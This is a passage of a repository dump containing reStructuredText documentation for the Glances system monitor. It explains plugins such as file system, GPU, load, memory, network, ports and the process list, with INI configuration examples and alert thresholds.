dm-0_rx_careful=4000000000\n    dm-0_rx_warning=5000000000\n    dm-0_rx_critical=6000000000\n    dm-0_rx_log=True\n    dm-0_tx_careful=700000000\n    dm-0_tx_warning=900000000\n    dm-0_tx_critical=1000000000\n    dm-0_tx_log=True\n\nYou also can automatically hide disk with no read or write using the\n``hide_zero`` configuration key. The optional ``hide_threshold_bytes`` option\ncan also be used to set a threshold higher than zero.\n\n.. code-block:: ini\n\n    [diskio]\n    hide_zero=True\n    hide_threshold_bytes=0\n\n.. _regex101: https://regex101.com/"
  },
  {
    "path": "docs/aoa/events.rst",
    "content": ".. _events:\n\nevents\n======\n\n.. image:: ../_static/events.png\n\nEvents list is displayed in the bottom of the screen if and only if:\n\n- at least one ``WARNING`` or ``CRITICAL`` alert was occurred\n- space is available in the bottom of the console/terminal\n\nEach event message displays the following information:\n\n1. start datetime\n2. duration if alert is terminated or `ongoing` if the alert is still in\n   progress\n3. alert name\n4. {min,avg,max} values or number of running processes for monitored\n   processes list alerts\n\nThe configuration should be done in the ``[alert]`` section of the\nGlances configuration file:\n\n.. code-block:: ini\n\n   [alert]\n   disable=False\n   # Maximum number of events to display (default is 10 events)\n   max_events=10\n   # Minimum duration for an event to be taken into account (default is 6 seconds)\n   min_duration=6\n   # Minimum time between two events of the same type (default is 6 seconds)\n   # This is used to avoid too many alerts for the same event\n   # Events will be merged\n   min_interval=6\n\n"
  },
  {
    "path": "docs/aoa/folders.rst",
    "content": ".. _folders:\n\nFolders\n=======\n\nThe folders plugin allows user, through the configuration file, to\nmonitor size of a predefined folders list.\n\n.. image:: ../_static/folders.png\n\nIf the size cannot be computed, a ``'?'`` (non-existing folder) or a\n``'!'`` (permission denied) is displayed.\n\nEach item is defined by:\n\n- ``path``: absolute path to monitor (mandatory)\n- ``careful``: optional careful threshold (in MB)\n- ``warning``: optional warning threshold (in MB)\n- ``critical``: optional critical threshold (in MB)\n- ``refresh``: interval in second between two refresh (default is 30 seconds)\n\nUp to ``10`` items can be defined.\n\nFor example, if you want to monitor the ``/tmp`` folder every minute,\nthe following definition should do the job:\n\n.. code-block:: ini\n\n    [folders]\n    folder_1_path=/tmp\n    folder_1_careful=2500\n    folder_1_warning=3000\n    folder_1_critical=3500\n    folder_1_refresh=60\n\nIn client/server mode, the list is defined on the ``server`` side.\n\n.. warning::\n    Symbolic links are not followed.\n\n.. warning::\n    Do **NOT** define folders containing lot of files and subfolders or use an\n    huge refresh time...\n"
  },
  {
    "path": "docs/aoa/fs.rst",
    "content": ".. _fs:\n\nFile System\n===========\n\n.. image:: ../_static/fs.png\n\nGlances displays the used and total file system disk space. The unit is\nadapted dynamically.\n\nAlerts are set for `user disk space usage <https://psutil.readthedocs.io/en/latest/index.html?highlight=disk%20usage#psutil.disk_usage>`_.\n\nLegend:\n\n===================== ============\nUser disk space usage Status\n===================== ============\n``<50%``              ``OK``\n``>50%``              ``CAREFUL``\n``>70%``              ``WARNING``\n``>90%``              ``CRITICAL``\n===================== ============\n\n.. note::\n    Limit values can be overwritten in the configuration file under\n    the ``[fs]`` section.\n\nBy default, the plugin only displays physical devices (hard disks, USB\nkeys). To allow other file system types, you have to enable them in the\nconfiguration file. For example, if you want to allow the ``shm`` file\nsystem:\n\n.. code-block:: ini\n\n    [fs]\n    allow=shm\n\nWith the above configuration key, it is also possible to monitor NFS\nmount points (allow=nfs). Be aware that this can slow down the\nperformance of the plugin if the NFS server is not reachable. In this\ncase, the plugin will wait for a 2 seconds timeout.\n\nAlso, you can hide mount points using regular expressions.\n\nTo hide all mount points starting with /boot and /snap:\n\n.. code-block:: ini\n\n    [fs]\n    hide=/boot.*,/snap.*\n\nFiltering are also applied on device name (Glances 3.1.4 or higher).\n\nIt is also possible to configure a white list of devices to display.\nExample to only show /dev/sdb mount points:\n\n.. code-block:: ini\n\n     [fs]\n     show=/dev/sdb.*\n\nFiltering is based on regular expression. Please be sure that your regular\nexpression works as expected. You can use an online tool like `regex101`_ in\norder to test your regular expression.\n\n.. _regex101: https://regex101.com/"
  },
  {
    "path": "docs/aoa/gpu.rst",
    "content": ".. _gpu:\n\nGPU\n===\n\nFor the moment, following GPU are supported:\n- NVidia (thanks to the `nvidia-ml-py`_ library)\n- AMD (only on Linux Operating system with kernel 5.14 or higher)\n- Intel (only on Linux Operating system)\n\nThe GPU stats are shown as a percentage of value and for the configured\nrefresh time. It displays:\n\n- GPU usage (NVidia and AMD) or frequency (Intel)\n- memory consumption (NVidia and AMD)\n- temperature (if available)\n\n.. image:: ../_static/gpu.png\n\nIf you click on the ``6`` short key, the per-GPU view is displayed:\n\n.. image:: ../_static/pergpu.png\n\n.. note::\n    You can also start Glances with the ``--meangpu`` option to display\n    the first view by default.\n\nYou can change the threshold limits in the configuration file:\n\n.. code-block:: ini\n\n    [gpu]\n    # Default processor values if not defined: 50/70/90\n    proc_careful=50\n    proc_warning=70\n    proc_critical=90\n    # Default memory values if not defined: 50/70/90\n    mem_careful=50\n    mem_warning=70\n    mem_critical=90\n    # Temperature\n    temperature_careful=60\n    temperature_warning=70\n    temperature_critical=80\n\nLegend:\n\n============== ============\nGPU (PROC/MEM) Status\n============== ============\n``<50%``       ``OK``\n``>50%``       ``CAREFUL``\n``>70%``       ``WARNING``\n``>90%``       ``CRITICAL``\n============== ============\n\n.. _nvidia-ml-py: https://pypi.org/project/nvidia-ml-py/\n"
  },
  {
    "path": "docs/aoa/hddtemp.rst",
    "content": ".. _sensors:\n\nHDD temperature sensor\n======================\n\n*Availability: Linux*\n\nThis plugin will add HDD temperature to the sensors plugin.\n\nOn your Linux system, you will need to have:\n- hddtemp package installed\n- hddtemp service up and running (check it with systemctl status hddtemp)\n- the TCP port 7634  opened on your local firewall (if it is enabled on your system)\n\nFor example on a CentOS/Redhat Linux operating system, you have to:\n\n    $ sudo yum install hddtemp\n\n    $ sudo systemctl enable hddtemp\n\n    $ sudo systemctl enable hddtemp\n\nTest it in the console:\n\n    $ hddtemp\n\n    /dev/sda: TOSHIBA MQ01ACF050: 41°C\n\n    /dev/sdb: ST1000LM044 HN-M101SAD: 38°C\n\nIt should appears in the sensors plugin.\n\n.. image:: ../_static/hddtemp.png\n\nThere is no alert on this information.\n\n.. note::\n    Limit values and sensors alias names can be defined in the\n    configuration file under the ``[sensors]`` section.\n"
  },
  {
    "path": "docs/aoa/header.rst",
    "content": ".. _header:\n\nHeader\n======\n\n.. image:: ../_static/header.png\n\nThe header shows the hostname, OS name, release version, platform\narchitecture IP addresses (private and public) and system uptime.\nAdditionally, on GNU/Linux, it also shows the kernel version.\n\nIn client mode, the server connection status is also displayed.\n\nThe system information message can be configured in the configuration file\n(for the moment, it only work for the Curses interface):\n\n.. code-block:: ini\n    [system]\n    # System information to display (a string where {key} will be replaced by the value) in the Curses interface\n    # Available dynamics information are: hostname, os_name, os_version, os_arch, linux_distro, platform\n    system_info_msg= | My {os_name} system |\n\nThe header IP message can be configured from the ip ``[ip]`` section, it allows to display private and\npublic IP information.\n\nIn the default configuration file, public IP address information is disable. Set public_disabled, to False\nin order to enable the feature.\n\nExample:\n\n.. code-block:: ini\n\n    [ip]\n    # Disable display of private IP address\n    disable=False\n    # Configure the online service where public IP address information will be downloaded\n    # - public_disabled: Disable public IP address information (set to True for offline platform)\n    # - public_refresh_interval: Refresh interval between to calls to the online service\n    # - public_api: URL of the API (the API should return an JSON object)\n    # - public_username: Login for the online service (if needed)\n    # - public_password: Password for the online service (if needed)\n    # - public_field: Field name of the public IP address in onlibe service JSON message\n    # - public_template: Template to build the public message\n    #\n    # Example for IPLeak service:\n    # public_api=https://ipv4.ipleak.net/json/\n    # public_field=ip\n    # public_template={ip} {continent_name}/{country_name}/{city_name}\n    #\n    public_disabled=False\n    public_refresh_interval=300\n    public_api=https://ipv4.ipleak.net/json/\n    #public_username=<myname>\n    #public_password=<mysecret>\n    public_field=ip\n    public_template={continent_name}/{country_name}/{city_name}\n\n**NOTE:** Setting low values for `public_refresh_interval` will result in frequent\nHTTP requests to the onlive service defined in public_api. Recommended range: 120-600 seconds.\nGlances uses online services in order to get the IP addresses and the additional information.\nYour IP address could be blocked if too many requests are done.\n\n\nExample:\n\n.. image:: ../_static/ip.png\n\n**Connected**:\n\n.. image:: ../_static/connected.png\n\n**Disconnected**:\n\n.. image:: ../_static/disconnected.png\n\nIf you are hosted on an ``OpenStack`` instance, some additional\ninformation can be displayed (AMI-ID, region).\n\n.. image:: ../_static/aws.png\n"
  },
  {
    "path": "docs/aoa/index.rst",
    "content": ".. _aoa:\n\nAnatomy Of The Application\n==========================\n\nThis document is meant to give an overview of the Glances interface.\n\nLegend:\n\n=========== ============\n``GREEN``   ``OK``\n``BLUE``    ``CAREFUL``\n``MAGENTA`` ``WARNING``\n``RED``     ``CRITICAL``\n=========== ============\n\n.. note::\n    Only stats with colored background will be shown in the alert view.\n\n.. toctree::\n   :maxdepth: 2\n\n   header\n   quicklook\n   cpu\n   memory\n   load\n   gpu\n   npu\n   network\n   connections\n   wifi\n   ports\n   diskio\n   fs\n   irq\n   folders\n   cloud\n   raid\n   smart\n   sensors\n   hddtemp\n   ps\n   containers\n   vms\n   amps\n   events\n   actions\n"
  },
  {
    "path": "docs/aoa/irq.rst",
    "content": ".. _irq:\n\nIRQ\n===\n\n*Availability: Linux*\n\nThis plugin is disable by default, please use the --enable irq option\nto enable it.\n\n.. image:: ../_static/irq.png\n\nGlances displays the top ``5`` interrupts rate.\n\nThis plugin is only available on GNU/Linux (stats are grabbed from the\n``/proc/interrupts`` file).\n\n.. note::\n    ``/proc/interrupts`` file doesn't exist inside OpenVZ containers.\n\nHow to read the information:\n\n- The first column is the IRQ number / name\n- The second column says how many times the CPU has been interrupted\n  during the last second\n"
  },
  {
    "path": "docs/aoa/load.rst",
    "content": ".. _load:\n\nLoad\n====\n\n*Availability: Unix and Windows with a PsUtil version >= 5.6.2*\n\n.. image:: ../_static/load.png\n\nOn the *No Sheep* blog, Zachary Tirrell defines the `load average`_\non GNU/Linux operating system:\n\n    \"In short it is the average sum of the number of processes\n    waiting in the run-queue plus the number currently executing\n    over 1, 5, and 15 minutes time periods.\"\n\nBe aware that Load on Linux, BSD and Windows are different things, high\n`load on BSD`_ does not means high CPU load. The Windows load is emulated\nby the PsUtil lib (see `load on Windows`_)\n\nLoad stats description:\n\n- **min1**: Average sum of the number of processes waiting in the run-queue\n  plus the number currently executing over 1 minute.\n- **min1_min**: Minimum average value observed since Glances startup.\n- **min1_max**: Maximum average value observed since Glances startup.\n- **min1_mean**: Mean (average) value computed from the history.\n- **min5**: Average sum of the number of processes waiting in the run-queue\n  plus the number currently executing over 5 minutes.\n- **min15**: Average sum of the number of processes waiting in the run-queue\n  plus the number currently executing over 15 minutes.\n\nGlances gets the number of CPU core (displayed on the first line) to adapt\nthe alerts. Alerts on load average are only set on 15 minutes time period.\n\nThresholds are computed by dividing the 5 and 15 minutes average load per\nCPU(s) number. For example, if you have 4 CPUs and the 5 minutes load is\n1.0, then the warning threshold will be set to 2.8 (0.7 * 4 * 1.0).\n\nFrom Glances 3.1.4, if Irix/Solaris mode is off ('0' key), the value is\ndivided by logical core number and multiple by 100 to have load as a\npercentage.\n\n.. image:: ../_static/loadpercent.png\n\nA character is also displayed just after the LOAD header and shows the\ntrend value (for the 1 minute load stat):\n\n======== ==============================================================\nTrend    Status\n======== ==============================================================\n``-``    Mean 15 lasts values equal mean 15 previous values\n``↓``    Mean 15 lasts values is lower mean 15 previous values\n``↑``    Mean 15 lasts values is higher mean 15 previous values\n======== ==============================================================\n\nLegend:\n\n============= ============\nLoad avg      Status\n============= ============\n``<0.7*core`` ``OK``\n``>0.7*core`` ``CAREFUL``\n``>1*core``   ``WARNING``\n``>5*core``   ``CRITICAL``\n============= ============\n\n.. note::\n    Limit values can be overwritten in the configuration file under\n    the ``[load]`` section.\n\n.. _load average: http://nosheep.net/story/defining-unix-load-average/\n.. _load on BSD: http://undeadly.org/cgi?action=article&sid=20090715034920\n.. _load on Windows: https://psutil.readthedocs.io/en/latest/#psutil.getloadavg\n"
  },
  {
    "path": "docs/aoa/memory.rst",
    "content": ".. _memory:\n\nMemory\n======\n\nGlances uses two columns: one for the ``RAM`` and one for the ``SWAP``.\n\n.. image:: ../_static/mem.png\n\nIf enough space is available, Glances displays extended information for\nthe ``RAM``:\n\n.. image:: ../_static/mem-wide.png\n\nStats description:\n\n- **percent**: the percentage usage calculated as (total-available)/total*100.\n- **total**: total physical memory available.\n- **used**: memory used, calculated differently depending on the platform and\n  designed for informational purposes only.\n  It's compute as following:\n  used memory = total - free (with free = available + buffers + cached)\n- **free**: memory not being used at all (zeroed) that is readily available;\n  note that this doesn’t reflect the actual memory available (use ‘available’\n  instead).\n- **active**: (UNIX): memory currently in use or very recently used, and so it\n  is in RAM.\n- **inactive**: (UNIX): memory that is marked as not used.\n- **buffers**: (Linux, BSD): cache for things like file system metadata.\n- **cached**: (Linux, BSD): cache for various things (including ZFS cache).\n\nAdditional stats available in through the API:\n\n- **available**: the actual amount of available memory that can be given\n  instantly to processes that request more memory in bytes; this is calculated\n  by summing different memory values depending on the platform (e.g. free +\n  buffers + cached on Linux) and it is supposed to be used to monitor actual\n  memory usage in a cross platform fashion.\n- **wired**: (BSD, macOS): memory that is marked to always stay in RAM. It is\n  never moved to disk.\n- **shared**: (BSD): memory that may be simultaneously accessed by multiple\n  processes.\n- **percent_min**: the minimum memory usage percentage observed since\n  Glances startup.\n- **percent_max**: the maximum memory usage percentage observed since\n  Glances startup.\n- **percent_mean**: the mean memory usage percentage observed since\n  Glances startup.\n\nIt is possible to display the available memory instead of the used memory\nby setting the ``available`` option to ``True`` in the configuration file\nunder the ``[mem]`` section.\n\nA character is also displayed just after the MEM header and shows the\ntrend value:\n\n======== ==============================================================\nTrend    Status\n======== ==============================================================\n``-``    Mean 15 lasts values equal mean 15 previous values\n``↓``    Mean 15 lasts values is lower mean 15 previous values\n``↑``    Mean 15 lasts values is higher mean 15 previous values\n======== ==============================================================\n\nAlerts are only set for used memory and used swap.\n\nLegend:\n\n======== ============\nRAM/Swap Status\n======== ============\n``<50%`` ``OK``\n``>50%`` ``CAREFUL``\n``>70%`` ``WARNING``\n``>90%`` ``CRITICAL``\n======== ============\n\n.. note::\n    Limit values can be overwritten in the configuration file under\n    the ``[memory]`` and/or ``[memswap]`` sections.\n"
  },
  {
    "path": "docs/aoa/network.rst",
    "content": ".. _network:\n\nNetwork\n=======\n\n.. image:: ../_static/network.png\n\nGlances displays the network interface bit rate. The unit is adapted\ndynamically (bit/s, kbit/s, Mbit/s, etc).\n\nIf the interface speed is detected (not on all systems), the defaults\nthresholds are applied (70% for careful, 80% warning and 90% critical).\nIt is possible to define this percents thresholds from the configuration\nfile. It is also possible to define per interface bit rate thresholds.\nIn this case thresholds values are define in bps.\n\nAdditionally, you can define:\n\n- a list of network interfaces to hide\n- automatically hide interfaces not up\n- automatically hide interfaces without IP address\n- per-interface limit values\n- aliases for interface name (use \\ to espace special characters)\n\nThe configuration should be done in the ``[network]`` section of the\nGlances configuration file.\n\nFor example, if you want to hide the loopback interface (lo) and all the\nvirtual docker interface (docker0, docker1, ...):\n\n.. code-block:: ini\n\n    [network]\n    # Default bitrate thresholds in % of the network interface speed\n    # Default values if not defined: 70/80/90\n    rx_careful=70\n    rx_warning=80\n    rx_critical=90\n    tx_careful=70\n    tx_warning=80\n    tx_critical=90\n    # Define the list of hidden network interfaces (comma-separated regexp)\n    hide=docker.*,lo\n    # Define the list of network interfaces to show (comma-separated regexp)\n    #show=eth0,eth1\n    # Automatically hide interface not up (default is False)\n    hide_no_up=True\n    # Automatically hide interface with no IP address (default is False)\n    hide_no_ip=True\n    # Set hide_zero to True to automatically hide interface with no traffic\n    hide_zero=False\n    # WLAN 0 alias\n    alias=wlan0:Wireless IF\n    # It is possible to overwrite the bitrate thresholds per interface\n    # WLAN 0 Default limits (in bits per second aka bps) for interface bitrate\n    wlan0_rx_careful=4000000\n    wlan0_rx_warning=5000000\n    wlan0_rx_critical=6000000\n    wlan0_rx_log=True\n    wlan0_tx_careful=700000\n    wlan0_tx_warning=900000\n    wlan0_tx_critical=1000000\n    wlan0_tx_log=True\n\nFiltering is based on regular expression. Please be sure that your regular\nexpression works as expected. You can use an online tool like `regex101`_ in\norder to test your regular expression.\n\nYou also can automatically hide interface with no traffic using the\n``hide_zero`` configuration key. The optional ``hide_threshold_bytes`` option\ncan also be used to set a threshold higher than zero.\n\n.. code-block:: ini\n\n    [network]\n    hide_zero=True\n    hide_threshold_bytes=0\n\n.. _regex101: https://regex101.com/\n"
  },
  {
    "path": "docs/aoa/npu.rst",
    "content": ".. _npu:\n\nNPU\n===\n\nNote: this plugin is disable by default in glances.conf file.\n\nFor the moment, only following NPU are supported on modern Linux Kernel:\n- AMD: frequency\n- INTEL: frequency, temperature\n- ROCKSHIP: load, frequency\n\n.. image:: ../_static/npu.png\n\n.. code-block:: ini\n\n    [npu]\n    disable=False\n    # Default NPU load thresholds in %\n    load_careful=50\n    load_warning=70\n    load_critical=90\n    # Default NPU frequency thresholds in %\n    freq_careful=50\n    freq_warning=70\n    freq_critical=90\n"
  },
  {
    "path": "docs/aoa/ports.rst",
    "content": ".. _ports:\n\nPorts\n=====\n\n*Availability: All*\n\n.. image:: ../_static/ports.png\n\nThis plugin aims at providing a list of hosts/port and URL to scan.\n\nYou can define ``ICMP`` or ``TCP`` ports scans and URL (head only) check.\n\nThe list should be defined in the ``[ports]`` section of the Glances\nconfiguration file.\n\n.. code-block:: ini\n\n    [ports]\n    # Ports scanner plugin configuration\n    # Interval in second between two scans\n    refresh=30\n    # Set the default timeout (in second) for a scan (can be overwrite in the scan list)\n    timeout=3\n    # If port_default_gateway is True, add the default gateway on top of the scan list\n    port_default_gateway=True\n    #\n    # Define the scan list (1 < x < 255)\n    # port_x_host (name or IP) is mandatory\n    # port_x_port (TCP port number) is optional (if not set, use ICMP)\n    # port_x_description is optional (if not set, define to host:port)\n    # port_x_timeout is optional and overwrite the default timeout value\n    # port_x_rtt_warning is optional and defines the warning threshold in ms\n    #\n    port_1_host=192.168.0.1\n    port_1_port=80\n    port_1_description=Home Box\n    port_1_timeout=1\n    port_2_host=www.free.fr\n    port_2_description=My ISP\n    port_3_host=www.google.com\n    port_3_description=Internet ICMP\n    port_3_rtt_warning=1000\n    port_4_host=www.google.com\n    port_4_description=Internet Web\n    port_4_port=80\n    port_4_rtt_warning=1000\n    #\n    # Define Web (URL) monitoring list (1 < x < 255)\n    # web_x_url is the URL to monitor (example: http://my.site.com/folder)\n    # web_x_description is optional (if not set, define to URL)\n    # web_x_timeout is optional and overwrite the default timeout value\n    # web_x_rtt_warning is optional and defines the warning respond time in ms (approximately)\n    #\n    web_1_url=https://blog.nicolargo.com\n    web_1_description=My Blog\n    web_1_rtt_warning=3000\n    web_2_url=https://github.com\n    web_3_url=http://www.google.fr\n    web_3_description=Google Fr\n"
  },
  {
    "path": "docs/aoa/ps.rst",
    "content": ".. _ps:\n\nProcesses List\n==============\n\nCompact view:\n\n.. image:: ../_static/processlist.png\n\nFull view:\n\n.. image:: ../_static/processlist-wide.png\n\nFiltered view:\n\n.. image:: ../_static/processlist-filter.png\n\nExtended view:\n\n.. image:: ../_static/processlist-extended.png\n\nThe process view consists of 3 parts:\n\n- Processes summary\n- Monitored processes list (optional, only in standalone mode)\n- Extended stats for the selected process (optional)\n- Processes list\n\nThe processes summary line displays:\n\n- Total number of tasks/processes (aliases as total in the Glances API)\n- Number of threads\n- Number of running tasks/processes\n- Number of sleeping tasks/processes\n- Other number of tasks/processes (not in running or sleeping states)\n- Sort key for the process list\n\nBy default, or if you hit the ``a`` key, the processes list is\nautomatically sorted by:\n\n- ``CPU``: if there is no alert (default behavior)\n- ``CPU``: if a CPU or LOAD alert is detected\n- ``MEM``: if a memory alert is detected\n- ``DISK I/O``: if a CPU iowait alert is detected\n\nYou can also set the sort key in the UI:\n\n- by clicking on left and right arrows\n- by clicking on the following shortcuts or command line option:\n\n.. list-table:: Title\n   :widths: 10 30 30\n   :header-rows: 1\n\n   * - Shortcut\n     - Command line option\n     - Description\n   * - a\n     - Automatic sort\n     - Default sort\n   * - c\n     - --sort-processes cpu_percent\n     - Sort by CPU\n   * - e\n     - N/A\n     - Pin the process and display extended stats\n   * - i\n     - --sort-processes io_counters\n     - Sort by DISK I/O\n   * - j\n     - --programs\n     - Accumulate processes by program (extended stats disable in this mode)\n   * - m\n     - --sort-processes memory_percent\n     - Sort by MEM\n   * - p\n     - --sort-processes name\n     - Sort by process name\n   * - t\n     - --sort-processes cpu_times\n     - Sort by CPU times\n   * - u\n     - --sort-processes username\n     - Sort by process username\n\nThe number of processes in the list is adapted to the screen size.\n\nColumns display\n---------------\n\n.. list-table:: Title\n   :widths: 10 60\n   :header-rows: 0\n\n   * - ``CPU%``\n     - Command line option\n     - % of CPU used by the process\n       If Irix/Solaris mode is off ('0' key), the value\n       is divided by logical core number\n\n========================= ==============================================\n``CPU%``                  % of CPU used by the process\n\n                          If Irix/Solaris mode is off ('0' key), the value\n                          is divided by logical core number (the column\n                          name became CPUi)\n``MEM%``                  % of MEM used by the process (RES divided by\n                          the total RAM you have)\n``VIRT``                  Virtual Memory Size\n\n                          The total amount of virtual memory used by the\n                          process. It includes all code, data and shared\n                          libraries plus pages that have been swapped out\n                          and pages that have been mapped but not used.\n\n                          Virtual memory is usually much larger than physical\n                          memory, making it possible to run programs for which\n                          the total code plus data size is greater than the amount\n                          of RAM available.\n\n                          Most of the time, this is not a useful number.\n``RES``                   Resident Memory Size\n\n                          The non-swapped physical memory a process is\n                          using (what's currently in the physical memory).\n``PID``                   Process ID (column is replaced by NPROCS in accumulated mode)\n``NPROCS``                Number of process + childs (only in accumulated mode)\n``USER``                  User ID\n``THR``                   Threads number of the process\n``TIME+``                 Cumulative CPU time used by the process\n``NI``                    Nice level of the process\n``S``                     Process status\n\n                          The status of the process:\n\n                          - ``R``: running or runnable (on run queue)\n                          - ``S``: interruptible sleep (waiting for an event)\n                          - ``D``: uninterruptible sleep (usually I/O)\n                          - ``Z``: defunct (\"zombie\") process\n                          - ``T``: traced by job control signal\n                          - ``t``: stopped by debugger during the tracing\n                          - ``X``: dead (should never be seen)\n\n``R/s``                   Per process I/O read rate in B/s\n``W/s``                   Per process I/O write rate in B/s\n``CPU``                   CPU core number where the process is currently running\n\n                          Displays the 0-based CPU core number (0, 1, 2, etc.)\n                          where the process is executing. The value updates\n                          dynamically as processes migrate between CPU cores.\n\n                          Shows ``-`` when information is unavailable.\n\n                          Available on Linux, FreeBSD, and SunOS only.\n                          Automatically disabled on Windows and macOS.\n\n                          Can be disabled via configuration with:\n                          ``disable_stats=cpu_num`` in the ``[processlist]``\n                          section of glances.conf\n``COMMAND``               Process command line or command name\n\n                          User can switch to the process name by\n                          pressing on the ``'/'`` key\n========================= ==============================================\n\nDisable display of virtual memory\n---------------------------------\n\nIt's possible to disable the display of the VIRT column (virtual memory) by adding the\n``disable_virtual_memory=True`` option in the ``[processlist]`` section of the configuration\nfile (glances.conf):\n\n.. code-block:: ini\n\n    [processlist]\n    disable_virtual_memory=True\n\nProcess filtering\n-----------------\n\nIt's possible to filter the processes list using the ``ENTER`` key.\n\nGlances filter syntax is the following (examples):\n\n- ``python``: Filter processes name or command line starting with\n  *python* (regexp)\n- ``.*python.*``: Filter processes name or command line containing\n  *python* (regexp)\n- ``username:nicolargo``: Processes of nicolargo user (key:regexp)\n- ``cmdline:\\/usr\\/bin.*``: Processes starting by */usr/bin*\n\nProcess focus\n-------------\n\nIt's also possible to select a processes list to focus on.\n\nA list of Glances filters (see upper) can be define from the command line:\n\n.. code-block:: bash\n\n    glances --process-focus .*python.*,.*firefox.*\n\n\nor the glances.conf file:\n\n.. code-block:: ini\n\n    [processlist]\n    focus=.*python.*,.*firefox.*\n\nExtended info\n-------------\n\n.. image:: ../_static/processlist-top.png\n\nIn standalone mode, additional information are provided for the top\nprocess:\n\n========================= ==============================================\n``CPU affinity``          Number of cores used by the process\n``Memory info``           Extended memory information about the process\n\n                          For example, on Linux: swap, shared, text,\n                          and data\n``Open``                  The number of threads, files and network\n                          sessions (TCP and UDP) used by the process\n``IO nice``               The process I/O niceness (priority)\n========================= ==============================================\n\nThe extended stats feature can be enabled using the\n``--enable-process-extended`` option (command line) or the ``e`` key\n(curses interface).\n\nIn curses/standalone mode, you can select a process using ``UP`` and ``DOWN`` and press:\n- ``k`` to kill the selected process\n\n.. note::\n    Limit for CPU and MEM percent values can be overwritten in the\n    configuration file under the ``[processlist]`` section. It is also\n    possible to define limit for Nice values (comma-separated list).\n    For example: nice_warning=-20,-19,-18\n\nAccumulated per program — key 'j'\n---------------------------------\n\nWhen activated ('j' hotkey or --programs option in the command line), processes are merged\nto display which programs are active. The columns show the accumulated cpu consumption, the\naccumulated virtual and resident memory consumption, the accumulated transferred data I/O.\nThe PID columns is replaced by a NPROCS column which is the number of processes.\n\nExport process\n--------------\n\nGlances version 4 introduces a new feature to export specifics processes. In order to use this\nfeature, you need to use the export option in the processlist section of the Glances configuration\nfile or the --export-process-filter option in the command line.\n\nThe export option is a list of Glances filters.\n\nExample number one, export all processes named 'python' (or with a command line containing 'python'):\n\n.. code-block:: ini\n\n    [processlist]\n    export=.*python.*\n\nNote: or the --export-process-filter \".*python.*\" option in the command line.\n\nExample number two, export all processes with the name 'python' or 'bash':\n\n.. code-block:: ini\n\n    [processlist]\n    export=.*python.*,.*bash.*\n\nNote: or the --export-process-filter \".*python.*,.*bash.*\" option in the command line.\n\nExample number three, export all processes belong to 'nicolargo' user:\n\n.. code-block:: ini\n\n    [processlist]\n    export=username:nicolargo\n\nNote: or the --export-process-filter \"username:nicolargo\" option in the command line.\n\nThe output of the export use the PID as the key (for example if you want to export firefox process\nto a CSV file):\n\nConfiguration file (glances.conf):\n\n.. code-block:: ini\n\n    [processlist]\n    export=.*firefox.*\n\nNote: or the --export-process-filter \".*firefox.*\" option in the command line.\n\nCommand line example:\n\n.. code-block:: bash\n\n    glances -C ./conf/glances.conf --export csv --export-csv-file /tmp/glances.csv --disable-plugin all --enable-plugin processlist --quiet\n\nthe result will be:\n\n.. code-block:: csv\n\n    timestamp,845992.memory_percent,845992.status,845992.num_threads,845992.cpu_timesuser,845992.cpu_timessystem,845992.cpu_timeschildren_user,845992.cpu_timeschildren_system,845992.cpu_timesiowait,845992.memory_inforss,845992.memory_infovms,845992.memory_infoshared,845992.memory_infotext,845992.memory_infolib,845992.memory_infodata,845992.memory_infodirty,845992.name,845992.io_counters,845992.nice,845992.cpu_percent,845992.pid,845992.gidsreal,845992.gidseffective,845992.gidssaved,845992.key,845992.time_since_update,845992.cmdline,845992.username,total,running,sleeping,thread,pid_max\n    2024-04-03 18:39:55,3.692938041968513,S,138,1702.88,567.89,1752.79,244.18,0.0,288919552,12871561216,95182848,856064,0,984535040,0,firefox,1863281664,0,0.5,845992,1000,1000,1000,pid,2.2084147930145264,/snap/firefox/3836/usr/lib/firefox/firefox,nicolargo,403,1,333,1511,0\n    2024-04-03 18:39:57,3.692938041968513,S,138,1702.88,567.89,1752.79,244.18,0.0,288919552,12871561216,95182848,856064,0,984535040,0,firefox,1863281664,0,0.5,845992,1000,1000,1000,pid,2.2084147930145264,/snap/firefox/3836/usr/lib/firefox/firefox,nicolargo,403,1,333,1511,0\n\n"
  },
  {
    "path": "docs/aoa/quicklook.rst",
    "content": ".. _quicklook:\n\nQuick Look\n==========\n\nThe ``quicklook`` plugin is only displayed on wide screen and proposes a\nbar view for cpu, memory, swap and load (this list is configurable).\n\nIn the terminal interface, click on ``3`` to enable/disable it.\n\n.. image:: ../_static/quicklook.png\n\nIf the per CPU mode is on (by clicking the ``1`` key):\n\n.. image:: ../_static/quicklook-percpu.png\n\nIn the Curses/terminal interface, it is also possible to switch from bar to\nsparkline using 'S' hot key or --sparkline command line option (need the\nsparklines Python lib on your system). Please be aware that sparklines use\nthe Glances history and will not be available if the history is disabled\nfrom the command line. For the moment sparkline is not available in\nclient/server mode (see issue ).\n\n.. image:: ../_static/sparkline.png\n\n.. note::\n    Limit values can be overwritten in the configuration file under\n    the ``[quicklook]`` section.\n\nYou can also configure the stats list and the bat character used in the\nuser interface.\n\n.. code-block:: ini\n\n    [quicklook]\n    # Stats list (default is cpu,mem,load)\n    # Available stats are: cpu,mem,load,swap\n    list=cpu,mem,load\n    # Graphical percentage char used in the terminal user interface (default is |)\n    bar_char=|\n"
  },
  {
    "path": "docs/aoa/raid.rst",
    "content": ".. _raid:\n\nRAID\n====\n\n*Availability: Linux*\n\n*Dependency: this plugin uses the optional pymdstat Python lib*\n\nThis plugin is disable by default, please use the --enable-plugin raid option\nto enable it or enable it in the glances.conf file:\n\n.. code-block:: ini\n\n    [raid]\n    # Documentation: https://glances.readthedocs.io/en/latest/aoa/raid.html\n    # This plugin is disabled by default\n    disable=False\n\nIn the terminal interface, click on ``R`` to enable/disable it.\n\n.. image:: ../_static/raid.png\n\nThis plugin is only available on GNU/Linux.\n"
  },
  {
    "path": "docs/aoa/sensors.rst",
